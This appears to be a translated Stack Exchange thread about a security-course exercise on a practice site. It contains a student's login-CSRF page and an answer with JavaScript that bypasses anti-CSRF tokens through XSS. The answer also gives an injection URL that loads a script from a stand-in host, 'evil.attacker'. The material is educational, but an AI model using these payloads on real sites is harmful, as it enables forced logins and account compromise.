¿Cómo puedo realizar con éxito un ataque xss en un sitio web ficticio? [cerrado]

3

en mi curso de seguridad, nos dijeron que practicáramos un ataque xss con firefox en este sitio web;

http://permalink.co/            

No se preocupe, este es un sitio web configurado específicamente para que practiquemos la seguridad. El campo csrf que ve debe establecerse en 1 (para la validación del token, el token es aleatorio) y el campo xss debe establecerse en 0 para esta práctica. Deberíamos escribir un archivo html e incluir otros idiomas como javascript, de modo que cuando el navegador ejecuta nuestro archivo, solo debe mostrar una página en blanco. Pero cuando se actualice, debería mostrar que hemos iniciado sesión en el sitio web que mencioné anteriormente. El nombre de usuario es 'atacante, y la contraseña es' l33th4x '.

Básicamente necesito bloquear la contraseña, el nombre de usuario y el token. Se me ocurrió un plan para usar una cookie y establecer el token en 'abc'. Entonces, cuando llego al inicio de sesión, uso el nombre de usuario y la contraseña que conozco con token = abc que configuré a sabiendas. Pero mi código no funciona, me dijeron que necesitaba dos formularios, el primero para configurar el token de cookie en 'abc' y el segundo para iniciar sesión usando los tres parámetros. Pero no veo qué poner en la primera forma. Se me ocurrió el siguiente código, pero no funciona, necesito ayuda;

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>   
<head>       
<title> set csrf to 0 and xss to 4 on http://permalink.co/ </title>        
</head>
<body>
<iframe style="border:none;width:0px;height:0px" id="iframe_submit"    name="iframe_submit"></iframe>        
<form id="form_id" action="http://permalink.co/login" method="POST" target="iframe_submit">       
<input type="hidden" name = "csrf_token" value="abc"><br>
<input type="hidden" name = "username" value="attacker"><br>        
<input type="hidden" name = "password" value="l33th4x"><br>    
</form>
<script type="text/javascript">
document.setcookie="csrf_token=abc";
document.forms["form_id"].submit();                              
</script>
</body>
</html>

Para una vista de primera mano de la pregunta, visite el sitio web a continuación y busque el número 2.1. Esto venció el mes pasado, pero no lo entendí y los exámenes se acercan;      enlace

    
pregunta user124627 10.03.2015 - 17:35
fuente

1 respuesta

1
  

Se me ocurrió el siguiente código, pero no funciona

Esto se debe a que está realizando un ataque CSRF, pero en el ejercicio 2.1 hay un token anti-CSRF que lo impide. Tienes que explotar la vulnerabilidad XSS aquí.

  

Se me ocurrió un plan para usar una cookie y establecer el token en 'abc'. Entonces, cuando llego al inicio de sesión, uso el nombre de usuario y la contraseña que conozco con token = abc que configuré a sabiendas.

Esto tampoco funcionará (al menos no si el programador es lo suficientemente competente como para implementar la protección anti-CSRF correctamente). El token para comparar el token de formulario no se almacena en la cookie, sino en la sesión, por lo que no puede configurarlo.

Omitir CSRF a través de XSS

El objetivo de este ejercicio es que usted vea que la prevención de CSRF es inútil cuando existe una vulnerabilidad de XSS en cualquier lugar del sitio web (no solo la página que desea atacar).

Aquí está el código (es posible que tenga que ajustar algunos de los valores de las variables):

    var csrfProtectedPage = 'http://permalink.co/login';
    var csrfProtectedForm = 'form';

    // get valid token for current request
    var html = get(csrfProtectedPage);
    document.body.innerHTML = html;
    var form = document.getElementById(csrfProtectedForm);
    var token= form.token.value;

    // build form with valid token and evil credentials
    document.body.innerHTML 
     += '<form id="myform" action="' + csrfProtectedPage + '" method="POST">'
     + '<input type="hidden" name="csrf_token" value="' + token + '">'
     + '<input id="userpass" name="password" value="evilPass">'
     + '<input id="username" name="username" value="evilUser">'
     + '</form>';

    // submit form
    document.forms["myform"].submit();

    function get(url) {
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", url, false);
        xmlHttp.send(null);
        return xmlHttp.responseText;
    }

Luego, envía a tu víctima a http://permalink.co/search?q=<script src="http://evil.attacker/script.js"></script> (si no quieres que haga clic, pero solo visita tu sitio web, cárgalo como una imagen).

La idea es inyectar javascript en el sitio vulnerable que carga la página de inicio de sesión, obtiene un token y luego envía el formulario con el token válido.

Omite CSRF sin XSS

Sería interesante conocer la respuesta a la pregunta 2.2 en su documento (el ataque anterior, pero sin XSS).

Puede pensar que puede realizar los mismos pasos sin la vulnerabilidad XSS, pero esto no es posible debido a la misma política de origen (no puede acceder a datos desde un origen diferente con Javascript, por lo que el ataque falla en el get paso que carga el formulario).

    
respondido por el tim 10.03.2015 - 18:53
fuente

Lea otras preguntas en las etiquetas